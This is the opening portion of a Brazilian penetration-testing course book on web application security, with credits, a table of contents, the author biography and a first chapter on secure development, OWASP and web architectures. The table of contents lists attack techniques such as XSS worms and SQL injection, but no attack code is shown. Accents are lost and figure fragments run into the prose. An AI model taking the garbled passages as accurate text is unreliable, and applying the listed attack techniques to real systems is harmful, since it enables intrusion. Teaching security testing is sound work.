Web
Nelson Uto
Teste de Invaso
de Aplicaes Web
Nelson Uto
Teste de Invaso
de Aplicaes Web
Nelson Uto
Copyright 2013 Rede Nacional de Ensino e Pesquisa RNP Rua Lauro Mller, 116 sala 1103 22290-906 Rio de Janeiro, RJ Diretor Geral
Nelson Simes
Diretor de Servios e Solues
Luiz Coelho
Edio
Pedro Sangirardi
Coordenao Acadmica de Segurana e Governana de TI
Edson Kowask
Celia Maciel, Cristiane Oliveira, Derlina Miranda, Elimria Barbosa, Lanusa Silva, Lourdes Soncin, Luciana Batista, Luiz Carlos Lobato, Renato Duarte e Sergio de Souza
Capa, projeto visual e diagramao
Tecnodesign
Verso
1.1.0
Este material didtico foi elaborado com fins educacionais. Solicitamos que qualquer erro encontrado ou dvida com relao ao material ou seu uso seja enviado para a equipe de elaborao de contedo da Escola Superior de Redes, no e-mail info@esr.rnp.br. A Rede Nacional de Ensino e Pesquisa e os autores no assumem qualquer responsabilidade por eventuais danos ou perdas, a pessoas ou bens, originados do uso deste material. As marcas registradas mencionadas neste material pertencem aos respectivos titulares. Distribuio
Rua Lauro Mller, 116 sala 1103 22290-906 Rio de Janeiro, RJ http://esr.rnp.br info@esr.rnp.br
Dados Internacionais de Catalogao na Publicao (CIP) U91s UTO, Nelson. Teste de invaso de aplicaes web / Nelson Uto. Rio de Janeiro: RNP/ESR, 2013. 510 p. : il. ; 27,5 cm ISBN 978-85-63630-17-9 1. Computadores Medidas de segurana. 2. Hackers. 3. Software Manuteno. Testes. 4. Crime por computador Preveno. I. Ttulo. CDD 005.8
Sumrio
1. Segurana em aplicaes web
Introduo1 Exerccio de nivelamento 1 Desenvolvimento de software3 Ciclo de desenvolvimento de software seguro3 Exerccio de fixao 1 Atividades de segurana5 OWASP5 Arquiteturas e tecnologias de aplicaes web6 Exerccio de nivelamento 2 Requisitos de segurana8 Reviso de criptografia8 Cifras9 Funes de hash criptogrficas11 MACs11 Assinaturas digitais12 Certificados digitais12 Protocolos SSL e TLS13 Exerccio de fixao 2 Segurana da informao15 Reviso dos protocolos HTTP e HTTPS16 Requisio16 Resposta17 Mtodos18 Cdigos de estado18 Cabealhos18 Cookies19 Autenticao HTTP19 Exerccio de fixao 3 Protocolo HTTP20
iii
Esquemas de codificao20 Codificao de URL20 Codificao HTML21 Roteiro de Atividades 123 Atividade 1 Arquiteturas e tecnologias de aplicaes web23 Atividade 2 Mecanismos criptogrficos23 Bibliografia 134
2. Reconhecimento e mapeamento
Introduo 37 Exerccio de nivelamento 1 Teste de invaso38 Metodologia de teste de invaso39 Exerccio de fixao 1 Etapas de um teste de invaso42 Ferramentas bsicas42 Navegadores web43 Proxies de interceptao44 Web spiders46 Fuzzers47 Varredores de portas e servios47 Varredores de vulnerabilidades48 Outras ferramentas49 Exerccio de fixao 2 Tipos de ferramentas50 Reconhecimento51 Levantamento de informaes em fontes pblicas52 Google hacking52 Identificao de sistema operacional, servios e portas55 Identificao do servidor web56 Levantamento dos mtodos suportados pelos servidores web59 Deteco de hosts virtuais59 Descoberta de arquivos e diretrios60 Exerccio de fixao 3 Fase de reconhecimento62 Mapeamento62 Cpia das pginas e recursos da aplicao62 Identificao dos pontos de entrada de informao63 Relacionamento com as informaes de reconhecimento64 Exerccio de nivelamento 2 Validao unilateral64
iv
Descoberta de vulnerabilidades e explorao65 Explorao de controles no lado cliente65 Exerccio de fixao 4 Segurana de controles67 Contramedidas67 Roteiro de Atividades 269 Atividade 1 Ferramentas bsicas69 Atividade 2 Reconhecimento74 Atividade 3 Mapeamento79 Atividade 4 Descoberta e explorao de vulnerabilidades82 Bibliografia 285
Roteiro de Atividades 3123 Atividade 1 Tecnologias de autenticao 123 Atividade 2 Descoberta de vulnerabilidades e explorao123 Bibliografia 3132
5. Cross-site scripting
Introduo179 Exerccio de nivelamento 1 Cross-site scripting180 Tipos de XSS180 XSS refletido181 XSS armazenado182
vi
XSS baseado em DOM182 Cross channel scripting185 Exerccio de fixao 1 XSS186 Worms baseados em XSS186 Exerccio de fixao 2 Tcnicas de evaso189 Descoberta de vulnerabilidades e explorao189 Pontos de injeo189 Roteiros de teste191 Obteno de identificador de sesso192 Adulterao de pgina194 Descoberta de histrico de navegao197 Captura de teclas digitadas no navegador web200 Quebra de token anti-CSRF201 Exerccio de fixao 3 Proteo contra CSRF202 Evaso de filtros202 Arcabouos de explorao204 Contramedidas207 Cdigo do Samy Worm207 Cdigo do Yamanner209 Roteiro de Atividades 5215 Atividade 1 Introduo215 Atividade 2 Tipos de XSS 215 Atividade 3 Worms baseados em XSS218 Atividade 4 Descoberta de vulnerabilidades e explorao218 Bibliografia 5231
6. Injeo de SQL
Introduo233 Exerccio de nivelamento 1 Consulta SQL problemtica235 Exerccio de fixao 1 Injeo de SQL235 Especificidades de alguns SGBDs236 Comandos de manipulao de dados236 Empilhamento de comandos237 Expresso condicional237 Comando de pausa238 Manipulao de caracteres e de cadeias de caracteres238 vii
Operadores bit-a-bit239 Comentrios239 Descoberta de vulnerabilidades e explorao240 Locais de injeo240 Testes bsicos241 Extrao de dados via UNION244 Identificao do servidor de banco de dados e de outras informaes247 Identificao das colunas da consulta249 Exerccio de fixao 2 Enumerao de tabelas via injeo de SQL250 Escalada de privilgios250 Descoberta e extrao de tabelas256 Manipulao de arquivos262 Funo definida pelo usurio270 Execuo de comandos no sistema operacional278 Varredura de redes280 Partio e balanceamento285 Injeo de SQL s cegas286 Exerccio de fixao 3 Ataque de injeo de SQL295 Injeo de SQL de segunda ordem295 Evaso de filtros296 Contramedidas297 Exerccio de fixao 4 Stored procedures 298 Roteiro de Atividades 6299 Atividade 1 Especificidades de SGBDs299 Atividade 2 Descoberta de vulnerabilidades e explorao300 Bibliografia 6313
7. Ataques de injeo
Introduo315 Exerccio de nivelamento 1 Ataques de injeo316 Injeo de comandos de sistema operacional316 Injeo em trilhas de auditoria319 Poluio de parmetros HTTP321 Injeo em filtros LDAP324 Injeo em filtros LDAP s cegas328 Injeo de comandos SMTP e de cabealhos de e-mail330 viii
Injeo de XPath335 Injeo de XPath s cegas339 Incluso de arquivos342 Contramedidas343 Exerccio de fixao 2 Medidas contra ataques344 Apndice Gramtica para representao textual de filtros de busca LDAP345 Gramtica da linguagem XPath 1.0347 Roteiro de Atividades 7351 Atividade 1 Injeo de comandos de sistema operacional 351 Atividade 2 Injeo em trilhas de auditoria352 Atividade 3 Poluio de parmetros HTTP353 Atividade 4 Injeo em filtros LDAP356 Atividade 5 Injeo em filtros LDAP s cegas358 Atividade 6 Injeo de comandos SMTP e de cabealhos de e-mail359 Atividade 7 Injeo de XPath362 Atividade 8 Injeo de XPath s cegas363 Atividade 9 Incluso de arquivos364 Bibliografia 7367
ix
Condies de corrida386 Exerccio de fixao 2 Condies de corrida387 Vulnerabilidades na lgica de negcio387 Transferncia de valor negativo388 Emprstimo acima do limite388 Exerccio de fixao 3 Ferramentas automatizadas390 Contramedidas390 Roteiro de Atividades 8393 Atividade 1 Acesso direto a recursos 393 Atividade 2 Controle de acesso no lado cliente da aplicao 397 Atividade 3 Percurso de caminho400 Atividade 4 Redirecionamento no validado401 Atividade 5 Condies de corrida403 Atividade 6 Vulnerabilidades na lgica de negcio404 Bibliografia 8405
9. Mecanismos criptogrficos
Introduo407 Exerccio de nivelamento 1 Acesso aplicao web408 Vulnerabilidades no transporte de informaes408 Verso vulnervel de SSL411 Suporte a sutes criptogrficas fracas412 Problemas com o certificado digital417 Acesso a domnio no verificado417 Uso de protocolos proprietrios418 Exerccio de fixao 1 Tipos de vulnerabilidades419 Contramedidas419 Vulnerabilidades no armazenamento de informaes420 Uso de BASE64421 Exerccio de fixao 2 BASE64422 Identificao e quebra de cifras clssicas422 Exerccio de nivelamento 2 Chave criptogrfica443 Recuperao de chaves embutidas em cdigo443 Gerao de chaves com baixa entropia444 Emprego de modo de operao inadequado445 x
Exerccio de fixao 3 ECB449 Uso incorreto de algoritmos criptogrficos449 Mistura de algoritmos com nveis de segurana diferentes451 Exerccio de fixao 4 Ataque a algoritmos452 Uso de algoritmos criptogrficos com fraquezas conhecidas452 Proteo de senhas de usurios453 Proteo de dados de cartes de pagamento454 Contramedidas455 Roteiro de Atividades 9457 Atividade 1 Vulnerabilidades no transporte de informaes457 Atividade 2 Vulnerabilidades no armazenamento de informaes459 Bibliografia 9467
xi
xii
A metodologia da ESR
A filosofia pedaggica e a metodologia que orientam os cursos da ESR so baseadas na aprendizagem como construo do conhecimento por meio da resoluo de problemas tpicos da realidade do profissional em formao. Os resultados obtidos nos cursos de natureza terico-prtica so otimizados, pois o instrutor, auxiliado pelo material didtico, atua no apenas como expositor de conceitos e informaes, mas principalmente como orientador do aluno na execuo de atividades contextualizadas nas situaes do cotidiano profissional. A aprendizagem entendida como a resposta do aluno ao desafio de situaes-problema semelhantes s encontradas na prtica profissional, que so superadas por meio de anlise, sntese, julgamento, pensamento crtico e construo de hipteses para a resoluo do problema, em abordagem orientada ao desenvolvimento de competncias. Dessa forma, o instrutor tem participao ativa e dialgica como orientador do aluno para as atividades em laboratrio. At mesmo a apresentao da teoria no incio da sesso de aprendizagem no considerada uma simples exposio de conceitos e informaes. O instrutor busca incentivar a participao dos alunos continuamente.
xiii
As sesses de aprendizagem onde se do a apresentao dos contedos e a realizao das atividades prticas tm formato presencial e essencialmente prtico, utilizando tcnicas de estudo dirigido individual, trabalho em equipe e prticas orientadas para o contexto de atuao do futuro especialista que se pretende formar. As sesses de aprendizagem desenvolvem-se em trs etapas, com predominncia de tempo para as atividades prticas, conforme descrio a seguir: Primeira etapa: apresentao da teoria e esclarecimento de dvidas (de 60 a 90 minutos). O instrutor apresenta, de maneira sinttica, os conceitos tericos correspondentes ao tema da sesso de aprendizagem, com auxlio de slides em formato PowerPoint. O instrutor levanta questes sobre o contedo dos slides em vez de apenas apresent-los, convidando a turma reflexo e participao. Isso evita que as apresentaes sejam montonas e que o aluno se coloque em posio de passividade, o que reduziria a aprendizagem. Segunda etapa: atividades prticas de aprendizagem (de 120 a 150 minutos). Esta etapa a essncia dos cursos da ESR. A maioria das atividades dos cursos assncrona e realizada em duplas de alunos, que acompanham o ritmo do roteiro de atividades proposto no livro de apoio. Instrutor e monitor circulam entre as duplas para solucionar dvidas e oferecer explicaes complementares. Terceira etapa: discusso das atividades realizadas (30 minutos). O instrutor comenta cada atividade, apresentando uma das solues possveis para resolv-la, devendo ater-se quelas que geram maior dificuldade e polmica. Os alunos so convidados a comentar as solues encontradas e o instrutor retoma tpicos que tenham gerado dvidas, estimulando a participao dos alunos. O instrutor sempre estimula os alunos a encontrarem solues alternativas s sugeridas por ele e pelos colegas e, caso existam, a coment-las.
Sobre o livro
O livro apresenta uma metodologia de verificao da segurana por meio da simulao de ataques reais, explorando as vulnerabilidades de um ambiente, plataforma ou sistema, os quais so reconhecidamente os principais meios explorados para roubo de informaes confidenciais e invaso de redes corporativas. Para ser um profissional de pentest, preciso muito mais do que utilizar ferramentas automatizadas: so necessrios conhecimentos diferenciados e tcnicas avanadas que permitam a compreenso ampla de cenrios de vulnerabilidades. Este livro apoia o curso de formao destes novos profissionais atravs das melhores prticas para testes de invaso, contendo atividades de simulao de ataques em ambiente de teste virtualizado. Ao final do curso, o aluno estar apto a avaliar a eficincia da segurana de sua organizao, e a propor o modelo de maturidade em segurana de software mais adequado sua necessidade.
A quem se destina
Curso voltado para tcnicos, analistas e administradores de redes que desejam obter o conhecimento sobre tcnicas, padres internacionais e ferramental para realizao de testes de invaso em aplicaes web. Tambm indicado para tcnicos e gestores responsveis pelo desenvolvimento e suporte de sistemas, e para profissionais de computao interessados em adquirir conhecimento diferencial na rea de segurana ciberntica.
xiv
Largura constante
Indica comandos e suas opes, variveis e atributos, contedo de arquivos e resultado da sada de comandos.
Contedo de slide
Indica o contedo dos slides referentes ao curso apresentados em sala de aula.
Smbolo
Indica referncia complementar disponvel em site ou pgina na internet.
Smbolo
Indica um documento como referncia complementar.
Smbolo
Indica um vdeo como referncia complementar.
Smbolo
Indica um arquivo de adio como referncia complementar.
Smbolo
Indica um aviso ou precauo a ser considerada.
Smbolo
Indica questionamentos que estimulam a reflexo ou apresenta contedo de apoio ao entendimento do tema em questo.
Smbolo
Indica notas e informaes complementares como dicas, sugestes de leitura adicional ou mesmo uma observao.
Permisses de uso
Todos os direitos reservados RNP. Agradecemos sempre citar esta fonte quando incluir parte deste livro em outra obra. Exemplo de citao: UTO, Nelson. Teste de Invaso de Aplicaes Web. Rio de Janeiro: Escola Superior de Redes, RNP, 2013.
Comentrios e perguntas
Para enviar comentrios e perguntas sobre esta publicao: Escola Superior de Redes RNP Endereo: Av. Lauro Mller 116 sala 1103 Botafogo Rio de Janeiro RJ 22290-906 E-mail: info@esr.rnp.br xv
Sobre os autores
Nelson Uto bacharel e mestre em Cincia da Computao pela Universidade Estadual de Campinas Unicamp. Durante o mestrado, realizado sob superviso do Prof. Dr. Ricardo Dahab, abordou a segurana de sistemas de agentes mveis e implementou, para a plataforma Aglets da IBM, alguns dos mecanismos estudados. Neste mesmo perodo, avaliou artigos para congressos nacionais em Segurana da Informao e para o peridico Journal of Universal Computer Science. Possui, tambm, vrios artigos publicados em congressos nacionais e internacionais, discorrendo sobre diversos temas de Segurana da Informao. Trabalha na rea de TI h 15 anos, sendo 9 deles em Segurana da Informao e, em especial, em criptografia aplicada e segurana de software. Nesta rea, dentre os projetos de pesquisa e de consultoria dos quais participou, pode-se citar: criptoanlise de arquivos gerados por malwares; testes de invaso de aplicaes web e cliente-servidor; anlise de vulnerabilidades em implementaes criptogrficas; aplicao da tcnica K-Means para a gerao semiautomtica de regras de correlao de eventos de segurana; gerenciamento de chaves criptogrficas; anlise de bibliotecas com suporte Criptografia de Curvas Elpticas para as plataformas XScale e x86; verificao da correo dos algoritmos criptogrficos implementados por uma biblioteca comercial; anlise de riscos de sistemas com base na norma ISO/IEC 18028; avaliao de vulnerabilidades de sistemas operacionais e SGBDs; elaborao de polticas de segurana e auditoria PCI. Tem experincia no desenvolvimento de softwares em linguagens C, C++, Java e Assembly x86. Como projetos mais interessantes nesse domnio esto a criao de um driver ODBC-JDBC e um tradutor 4GL-Java, para a gerao automtica de cdigo semanticamente equivalente em Java a partir de programas em 4GL. Por fim, professor de graduao e ps-graduao, ministrando disciplinas nas reas de Segurana e Tecnologia da Informao, alm de coordenar h trs anos um curso de ps-graduao em segurana. Edson Kowask Bezerra profissional da rea de segurana da informao e governana h mais de quinze anos, atuando como auditor lder, pesquisador, gerente de projetos e gerente tcnico, em inmeros projetos de gesto de riscos, gesto de segurana da informao, continuidade de negcios, PCI, auditoria e recuperao de desastres em empresas de grande porte do setor de telecomunicaes, financeiro, energia, indstria e governo. Com vasta experincia nos temas de segurana, tem atuado tambm como palestrante nos principais eventos do Brasil e ainda como instrutor de treinamentos focados em segurana e governana. professor e coordenador de cursos de ps-graduao na rea de segurana da informao, gesto integrada, de inovao e tecnologias web. Hoje atua como Coordenador Acadmico de Segurana e Governana de TI da Escola Superior de Redes.
xvi
Dedico este trabalho: Marcia Hoffmann, pela companhia, amor e pacincia; minha famlia, pela educao que me foi dada; Aos verdadeiros amigos, que sempre me estenderam a mo quando precisei; A todos os autores que, ao compartilharem conhecimento, auxiliaram a criao deste livro. Nelson Uto
xvii
xviii
1
Segurana em aplicaes web
objetivos
Introduzir conceitos sobre desenvolvimento de software seguro e rever diversos tpicos relacionados criptografia e aos protocolos HTTP e HTTPS.
conceitos
Ciclo de desenvolvimento de software seguro, arquiteturas e tecnologias de aplicaes web, criptografia, pro-tocolos HTTP e HTTPS.
Introduo
Vulnerabilidades em softwares tm sido amplamente utilizadas por atacantes para roubo de informaes confidenciais e invases de redes corporativas. Prover a segurana de um software, porm, no um objetivo fcil de ser alcanado, dada a complexidade dos sistemas nos dias de hoje. Facilmente, eles atingem dezenas de milhares de linhas de cdigo, que contm, invariavel-
mente, quantidade de defeitos significativa. Alguns destes tm impacto direto em segurana, podendo acarretar desde a indisponibilidade do sistema at o controle total do computador por um atacante. Para piorar ainda mais esse cenrio, considere que, normalmente, um ciclo de desenvolvimento de software seguro no adotado, o que resulta, no mnimo, em especificaes inseguras e configurao vulnervel das plataformas subjacentes.
Common Vulnerabilites and Exposures Dicionrio pblico contendo descries de vulnerabilidades de segurana descobertas. SQL Structured Query Language uma linguagem baseada na lgebra relacional, que utilizada para manipular informaes contidas em bancos de dados relacionais.
Para se ter uma ideia mais clara do mundo real, no perodo de 2001 a 2006 o nmero de vulnerabilidades em sistemas reportado ao Common Vulnerabilities and Exposures simplesmente triplicou. Alm disso, houve mudana nos tipos de fraquezas mais comumente da lista por muitos anos consecutivos, perdeu o lugar, a partir de 2005, para vulnerabilidades de injeo de cdigo, como o cross-site scripting e injeo de SQL, por exemplo. Esses tipos de fraquezas afetam, basicamente, sistemas web e indicam duas coisas:
Captulo 1 - Segurana em aplicaes web
1 A recente popularizao das interfaces web para comrcio eletrnico, internet banking
e configurao de elementos de rede.
1 Os problemas de segurana desse domnio no esto sendo adequadamente considerados durante o processo de desenvolvimento, tanto por ignorncia como pela presso causada por cronogramas de entrega apertados. Extravasamento de buffer uma vulnerabilidade comum em programas escritos em linguagem de baixo nvel e ocorre quando possvel escrever em uma regio de memria alm
dos limites alocados para uma dada estrutura, como um vetor, por exemplo. O resultado da explorao do problema pode ser desde um trmino abrupto do programa at o controle total do sistema operacional. % do total de vulnerabilidades reportado ao CVE
25
20
15
Cross-site scripting
10
Extravasamento de buer Injeo SQL Navegao de diretrio PHP Include Vazamento de informao Negao de servio
2001
2002
2003
2004
2005
2006
Estouro de inteiro
Ano possvel considerar, de modo geral, que nem um software est livre de vulnerabilidades de segurana, principalmente quando a complexidade deles for grande. A melhor estratgia a ser adotada, ento, consiste em encontrar essas vulnerabilidades o mais cedo possvel e corrigi-las imediatamente, antes que sejam exploradas por usurios maliciosos. Veja algumas maneiras de realizar essa tarefa:
Figura 1.1 Progresso da ocorrncia das principais vulnerabilidades reportadas ao CVE.
1 Anlise de cdigo-fonte: a melhor ferramenta possvel para deteco de vulnerabilidades em software, mas pode ser proibitiva para sistemas muito grandes, devido ao tempo que a tarefa consome. Alguns tipos de defeitos de segurana, porm, somente podem ser encontrados dessa maneira.
1 Teste de invaso: esse o tema deste curso e consiste na execuo de ataques visando
violar os requisitos de segurana explcitos e implcitos de uma aplicao. O processo todo realizado ciclicamente e, a cada interao, a base de conhecimento sobre o sistema aumenta e novas vulnerabilidades podem ser descobertas e exploradas.
um conhecimento do domnio da aplicao e da semntica dos parmetros utilizados. Vale ressaltar que vulnerabilidades em software, frequentemente, so as responsveis pelo comprometimento do bem mais importante da empresa, que a informao. Assim, esforos devem ser direcionados para mitigar os riscos decorrentes da criao e utilizao de softwares inseguros nos processos de negcio das empresas. Tal objetivo s alcanado plenamente por meio da implantao de um ciclo de desenvolvimento de software seguro. No contexto apresentado, o objetivo deste captulo revisar os principais conceitos necessrios realizao de um teste de invaso de aplicaes web. Desse modo, o restante deste captulo inclui noes de um ciclo de desenvolvimento de software seguro, arquiteturas e tecnologias de aplicaes web, conceitos de criptografia e reviso dos protocolos HTTP e HTTPS.
1 Atividades comumente realizadas na fase seguinte, a de projeto, incluem o mapeamento do modelo de dados para estruturas lgicas e fsicas, a definio de padres de interface a serem utilizados, a escolha de elementos de hardware e software que faro parte da soluo e o desenho da topologia a ser adotada.
1 Para minimizar vulnerabilidades de codificao, os desenvolvedores devem ser treinados em tcnicas gerais de programao segura e nas especificidades das linguagens com as quais trabalham.
2 5 10 15 22 50 100
Cada fase de um ciclo de desenvolvimento de software seguro, portanto, tem sua parcela de contribuio para a qualidade do resultado final e no pode ser omitida durante o processo. Na etapa de especificao, requisitos explcitos de segurana devem ser enumerados e requisitos funcionais devem ser avaliados para verificar se no introduzem uma vulnerabilidade no sistema. Um caso ilustrativo o do suposto Microsoft Bob, um programa criado para auxiliar o usurio do sistema operacional sempre que se encontrasse em dificuldades na realizao de alguma tarefa. Seguindo essa filosofia, sempre que um usurio errasse a senha trs vezes consecutivas, ele aparecia e perguntava se desejava troc-la, para conectar-se ao ambiente (McGraw, 2006). Nessa situao, no importa quo bem implementada esteja a funcionalidade: o sistema continuar intrinsecamente inseguro. Atividades comumente realizadas na fase seguinte, a de projeto, incluem o mapeamento do modelo de dados para estruturas lgicas e fsicas, a definio de padres de interface a serem utilizados, a escolha de elementos de hardware e software que faro parte da soluo e o desenho da topologia a ser adotada. Nesse contexto, um problema muito comum de segurana que surge o posicionamento incorreto do banco de dados na topologia de rede. Para ilustrar esse ponto, considere o levantamento realizado por Litchfield, no final de 2005, em que foram detectados cerca de 350 mil bancos de dados, contendo dados de produo diretamente na DeMilitarized Zone DMZ externa das empresas (Litchfield, 2007). Esse exemplo evidencia pelo menos um dos inmeros aspectos de segurana que devem ser considerados no projeto do software, ao lado de decises sobre protocolos seguros de comunicao e seleo de algoritmos criptogrficos. O prximo passo consiste na implementao do software propriamente dito, em uma ou mais linguagens de programao, dependendo de cada caso. Para minimizar vulnerabilidades de codificao, os desenvolvedores devem ser treinados em tcnicas gerais de programao segura e nas especificidades das linguagens com as quais trabalham. Por exemplo, extravasamento de buffer um problema comum em programas feitos em C e C++ (Seacord, 2005), mas no ocorre na linguagem Java, pois a mquina virtual verifica se um acesso a um vetor est dentro dos limites possveis. Ferramentas automatizadas para reviso de cdigo podem ser de grande ajuda na identificao de padres reconhecidamente inseguros de programao, como o uso das funes strcpy() e strcmp() em C/C++. Testes de segurana so fundamentalmente diferentes de testes funcionais e, por isso, devem ser feitos por profissionais especializados. Os ltimos so descritos em casos de testes, os quais definem um roteiro dos passos a serem seguidos e o resultado esperado de um comportamento no defeituoso. Obviamente, nenhum sistema criado com caminhos documentados de como os requisitos de segurana podem ser subjugados, e a reside a diferena. Portanto, ao procurar vulnerabilidades em um software, o testador segue uma linha de raciocnio diferente da tradicional, ao colocar-se no lugar do usurio malicioso, que tenta encontrar fluxos no previstos que possam comprometer a aplicao. A automao
Teste de Invaso de Aplicaes Web
DMZ Segmento de rede que separa redes protegidas de no protegidas, como a internet, e utilizado para prover servios para o ambiente externo. Assim, servidores web e de correio eletrnico normalmente so instalados na DMZ. O termo tem origem na regio de terra neutra que separa as Coreias do Norte e do Sul.
de algumas tarefas nesse processo pode implicar ganho de produtividade, mas o papel do especialista continua sendo fundamental. Por fim, e no menos importantes, encontram-se a implantao do sistema no ambiente de produo e a manuteno. Antes da liberao para o uso, fundamental que todos os servidores utilizados pela aplicao sejam robustecidos, com eliminao de servios e contas desnecessrios e configurao dos parmetros de segurana de acordo com as melhores prticas estabelecidas para as plataformas. Correes de segurana devem ser aplicadas periodicamente no ambiente, principalmente, aquelas consideradas crticas. Caso criptossistemas com chave sejam empregados, procedimentos adequados de gerenciamento de chaves
criptogrficas devem ser adotados (Menezes et al., 2001; Barker et al., 2007a,b). E, no caso de comprometimento do sistema, o problema deve ser identificado e imediatamente corrigido. Invariavelmente, todo software sempre apresenta uma ou mais falhas de segurana ao longo de sua existncia. Assim, razovel concluir que utpico construir um sistema completamente invulnervel. Porm, com um ciclo de desenvolvimento seguro, possvel, no mnimo, produzir consistentemente sistemas com um nmero reduzido de brechas e que possuam mecanismos de proteo contra os diversos ataques conhecidos.
OWASP
O grupo Open Web Application Security Project uma organizao mundial, sem fins lucrativos, que visa divulgar aspectos de segurana de aplicaes web, para que o risco nesses ambientes seja devidamente avaliado por pessoas e empresas. Existem, hoje, 130 captulos locais, espalhados pelos cinco continentes, todos abertos, gratuitamente, para participao de pessoas interessadas no assunto. A entidade, alm de organizar conferncias internacionais e encontros sobre o tema, mantm diversos projetos, que variam de guias de implementao segura a ferramentas. Os trabalhos do OWASP relevantes para este curso esto brevemente descritos nos pargrafos a seguir:
1 Top Ten: uma lista, j na terceira verso, das dez vulnerabilidades de maior risco
presentes em aplicaes web, segundo a experincia prtica de diversos especialistas membros da organizao. Por essa razo, foi adotado pelos padres PCI DSS (PCI, 2009a) e PCI PA-DSS (PCI, 2009b) para figurar como os itens mnimos que devem ser considerados na codificao segura de sistemas web.
1 Guia de testes (Meucci et al., 2008): fornece metodologia e procedimentos detalhados para
a realizao de testes de invaso em aplicaes web, com cobertura das principais vulnerabilidades conhecidas. So apresentados testes caixa-preta e, tambm, caixa-cinza.
1 Guia de reviso de cdigo (Van der Stock et al., 2008): livro que ilustra como encontrar vulnerabilidades em aplicaes web, por meio da inspeo do cdigo-fonte. Contm exemplos em diversas linguagens, como Java, C, C++ e ASP.
q q
l
Saiba mais
Payment Card Industry Data Security Standard (PCI DSS) um padro definido pelas bandeiras Visa, Mastercard, American Express, JCB e Discover para minimizar riscos envolvendo pagamentos com cartes de crdito e dbito. O padro est organizado em doze requisitos principais que cobrem segurana de redes, proteo de dados de carto armazenados, transmisso segura, segurana fsica e poltica de segurana, dentre outros. Payment Card Industry Payment Application Data Security Standard (PCI PA-DSS) um padro mantido pelo conselho PCI que tem por objetivo auxiliar as empresas de software de pagamento eletrnico a desenvolver sistemas que no violem requisitos prescritos no PCI DSS e, assim, no impedir estabelecimentos comerciais e provedores de servios a obter a certificao.
qual o usurio no era capaz de fornecer nenhuma informao por meio da interface disponibilizada. O mximo permitido consistia na navegao por documentos, contendo assuntos relacionados, que eram referenciados por meio de hiperlinks. Claramente, no possvel classificar tais provedores de contedo como aplicaes web e, portanto, eles no so interessantes no contexto de testes de invaso abordado no presente documento. As vulnerabilidades que eram ento encontradas pertenciam apenas s plataformas subjacentes, como o servidor web e o sistema operacional. Observe que, nesse estgio inicial, os stios web eram centrados nos documentos e no nos usurios. Diferentemente, uma aplicao web interage com as pessoas que a utilizam, recebendo, devolvendo e atualizando informaes contidas nas fontes de dados da aplicao, de maneira dinmica. Um fluxo comum de processamento compreende os seguintes passos (Shklar, 2009): recebimento da requisio do usurio; interpretao da solicitao e subsequente encaminhamento; controle do acesso, por meio de autenticao e verificao dos privilgios; acesso e atualizao de dados, de acordo com a lgica de negcio; personalizao da resposta, para atender aos diversos tipos de aplicaes clientes e caractersticas nicas dos usurios; e a transmisso da resposta para apresentao ao usurio. As primeiras aplicaes web implementavam todas as etapas acima de maneira programtica, utilizando tecnologias como CGI e Servlets Java. O grande problema que os sistemas eram monolticos, isto , as camadas de apresentao, lgica de negcios e de dados eram todas misturadas em um ou mais programas. Assim, uma modificao incorreta no cdigo que construa uma tela poderia afetar uma regra de manipulao de informao. Similarmente, a troca de um sistema gerenciador de banco de dados por outro no podia ser feita transparentemente. Outro inconveniente que o leiaute da pgina ficava sob a responsabilidade dos programadores, que, normalmente, no possuam as habilidades necessrias nessa arena. Uma abordagem alternativa, visando minimizar esse problema, consiste na gerao de pginas HTML a partir de modelos (templates) que se baseiam em estruturas de formaTeste de Invaso de Aplicaes Web
tao e permitem uma quantidade limitada de cdigo embutido para incluso dinmica de dados. Exemplos dessa soluo incluem o Cold Fusion, Apache Velocity e Server-Side Includes (SSI), atuando em parceria com CGI. Se por um lado o uso de modelos atendeu parcialmente o propsito de separar o contedo da apresentao, por outro, pecou em limitar demasiadamente o poder e flexibilidade da abordagem centrada em cdigo. Por esse motivo, solues hbridas procuraram mesclar modelos orientados a pginas com o poder oferecido pela programao, permitindo, assim, a incluso de blocos inteiros de cdigo permeando estruturas de formatao. Contrariando as crenas iniciais, a fuso das vantagens de cada um dos cenrios no teve resultado positivo, uma vez que, novamente, contedo e apresentao se tornaram indissociveis em um nico objeto (Shklar, 2009).
Solues hbridas procuraram mesclar modelos orientados a pginas com o poder oferecido pela programao. Active Server Pages (ASP), da Microsoft, PHP e JavaServer Pages (JSP), da Sun, foram tecnologias que enveredaram por esse caminho. Embora ainda hoje seja possvel encontrar sistemas desenvolvidos com todas essas tecnologias, aplicaes web modernas, normalmente, so construdas com base em um modelo de n-camadas. O objetivo separar totalmente a lgica de negcio das camadas de dados e de apresentao ao usurio e obter, com isso, total flexibilidade na seleo de tecnologias e manuteno do sistema.
Para exemplificar, imagine uma aplicao que armazena informaes em arquivos de texto e que, por algum motivo, um sistema gerenciador de bancos de dados deva ser adotado no lugar. Como o acesso s informaes ocorre por meio de uma interface bem definida e abstrata da camada de dados, a alterao no impacta o cdigo que as utiliza. Java EE (Oracle, 2010) um exemplo de plataforma para execuo de aplicaes calcada no conceito de mltiplas camadas. A primeira delas composta por navegadores web e aplicaes clientes que fazem interface com o usurio e se comunicam com o servidor Java EE. A camada web responsvel pela gerao dinmica de contedo e transporte das informaes fornecidas pelo usurio at a camada de negcio. Ela emprega tecnologias como Servlets, JavaServer Pages, JavaServer Faces e JavaBeans. A terceira camada composta pelos componentes que implementam a lgica de negcio da aplicao, que so construdos, por exemplo, com Enterprise JavaBeans. Por fim, a ltima camada compreende servidores de bancos de dados, sistemas legados e demais fontes de dados pertinentes, que so acessadas por tecnologias como Java Database Connectivity API (JDBC) e Java Persistence API. importante entender como todos esses elementos so distribudos em servidores e como so protegidos nas camadas de rede e de transporte. A Figura 1.3 ilustra uma topologia cannica para implementao de um sistema em n-camadas. O acesso de clientes a partir de redes no confiveis controlado por um firewall de borda com capacidade adicional de inspecionar o trfego HTTP e bloquear ataques conhecidos. Um conjunto de servidores web ou de aplicao responde pelas funcionalidades de apresentao, transportando informaes do usurio para os servidores de aplicaes, responsveis pela lgica de negcio, e formatando as respostas s requisies realizadas. A ltima camada composta, normalmente, de servidores de bancos de dados e de sistemas legados. A Figura 1.4 enumera alguns exemplares de cada um dos componentes principais.
Camada de apresentao
Camada de dados
Exemplos Navegadores web: Internet Explorer, Firefox e Chrome. Aplicaes escritas em Java. Microsoft Office.
Camada de apresentao
IIS. Apache. Tomcat. WebSphere. JBoss. Oracle GlassFish. Oracle WebLogic. Apache Geronimo.
Camada de negcio
Camada de dados
Firewall de aplicao
